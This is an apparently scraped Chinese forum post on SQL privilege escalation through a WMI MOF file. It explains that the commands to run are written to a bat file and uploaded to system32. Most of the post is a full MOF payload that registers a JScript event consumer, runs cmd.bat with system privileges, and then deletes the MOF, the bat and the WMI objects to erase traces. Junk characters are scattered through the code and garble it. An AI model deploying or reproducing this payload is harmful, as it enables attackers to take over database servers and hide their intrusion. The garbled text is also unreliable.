这个sql提权MOF需要运行 system下的文件,不能定义路径。
9 q2 ?# n. J; [# F! r; e! E需要将要运行的命令写入到bat上传到system32目录,然后执行。
; _" J$ p- H( f2 j! ^* H
" ?7 l3 c6 R" g+ Y M7 N这个sql提权MOF需要运行 system下的文件,不能定义路径。( q, p# U( \- V( n
需要将要运行的命令写入到bat上传到system32目录,然后执行。& `4 |9 ~, U: s+ o4 e
4 s/ c3 t+ V" k3 U& N# ^! \
#pragma) [4 a# T3 o1 x f
namespace("\\\\.\\root\\cimv2")# `* J3 g% D, R' o; C: X9 a3 o
class" q& C) s& e% D4 n. f ]& i0 L
MyClass5477 b2 X1 l+ ]% y5 `) }" ^$ s# X- n) b
{ [key]9 F1 L9 t6 e8 ?9 L' S1 v( x
string
3 Y- X8 E+ K7 |4 r8 H+ M2 V, h Name;! R4 Z5 o% w/ h3 \& P+ c
};# D9 E% a4 J7 m7 W. V0 m+ y" y
class
2 x; @) k7 O/ Z `5 U! Z ActiveScriptEventConsumer8 P' y h8 h) B& @' h; R) h0 n
: __EventConsumer { [key]1 ?* b7 l4 j. g5 \, y! w6 m
string
7 W( W+ N& x2 O0 a Name; [not_null]7 i7 K( J$ V( c- V: p" V! p* _
string, c3 t3 Y% Y: A& ]* H: J
ScriptingEngine; string6 V% P6 h, I( L
ScriptFileName; [template]2 e# o. `. Z% e" O. l% j
string
h; o: ]$ L3 ?" D A ScriptText; uint32 KillTimeout;
1 `. G; I# u$ n" k9 m: U3 W }; instance of __Win32Provider as $P {
* X) ^0 O* W! { Name F1 Z1 x5 k, L7 c' U& w: P. j/ W
=& N+ o0 u7 C) k1 S6 L
"ActiveScriptEventConsumer"; CLSID =
: m% e/ M. r8 C8 ]9 B" B "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";9 L3 h4 h* o3 T: \' e3 P
PerUserInitialization
0 ^) \. K# q2 s2 g4 ` = TRUE;, G0 p( A$ W$ m- i' D! G. u
}; instance of __EventConsumerProviderRegistration { Provider
. `0 c# ^- v1 ? = $P; ConsumerClassNames4 k6 }( A. ?/ r
=
# {/ n6 h9 I4 J. d {"ActiveScriptEventConsumer"};
- g) x1 v0 P5 v' [! z9 C# o6 t8 J };% {! Y" M/ @, c- B: W
Instance of ActiveScriptEventConsumer. {, I! C. p8 O: k# b) R: ~
as $cons { Name, A1 N; J0 q- X K& b% Y* Y) U2 }& ^% ]
=- [- Q0 `, X% ]* t F$ t* a, A1 r, T
"ASEC"; ScriptingEngine' n1 @& f. n+ g" U! v& c/ h
=/ i/ O$ ~8 w, o; i# Z4 X
"JScript"; ScriptText# X! `& Y, ^/ T. B9 `6 ?5 L5 U6 Z
=" U) H6 P# g# t0 H
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };" h$ L0 Q0 Y: h" z
Instance of ActiveScriptEventConsumer
& ^" G, t( e* k7 }' O. s as $cons2 { Name
- A( J f {5 b) c- i =
: |4 w3 U# F2 E4 A; V# P2 I "qndASEC"; ScriptingEngine
% V" R4 I: P- x) i! r8 @: ^# p2 Z& F =" {* [1 { @% @& Y! P& y2 S z9 `
"JScript"; ScriptText$ G4 t8 D! p: }2 E! R, h
=% E, y7 j% m6 ]; k4 ~+ [* I
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";7 D0 S% |1 ]4 W6 G N
}; instance of __EventFilter as $Filt { Name
6 h. {, ^8 _4 p' G; e& s9 C! Z) S =
/ a. x: l( d. A8 @1 G8 Z# `( R "instfilt"; Query. Z! g+ w$ l. r7 O: n
=
) S& X1 m! F; Z; w/ t# M% e9 [ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
@8 s ?7 H: S" ]: F& `% N. j =
. g4 j5 }6 ^7 `5 n4 _# N8 v/ T i "WQL"; }; instance of __EventFilter as $Filt2 { Name9 L1 v6 F) Y8 Z9 W! H, T" X% I. L, K
=
_! Q1 a. G' K "qndfilt"; Query' c! \# d' S: w- I
=7 t4 t6 C; M0 u8 g% ]
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
, z0 ?& h/ s: r: s =/ \1 z2 ~5 a/ [. S; M
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer4 ?! D, ~ J: B8 s* W/ j$ Q
= $cons; Filter9 _; q: ]7 P* p8 o9 [
= $Filt;
0 d. t# n0 ~0 I$ z+ [0 G% G }; instance of __FilterToConsumerBinding as $bind2 { Consumer9 F3 g& z3 I. f
= $cons2; Filter
" s" A6 O1 u9 F! ?" G7 n. H = $Filt2;
\5 X7 y/ c1 W1 w* [ }; instance of MyClass547
* q! L. P0 e) u3 B as $MyClass { Name
0 P! |- Q' q/ }: i4 s& r =6 U' L' R2 d9 R
"ClassConsumer";) ^7 J) p- K3 D9 g- |' R
}; |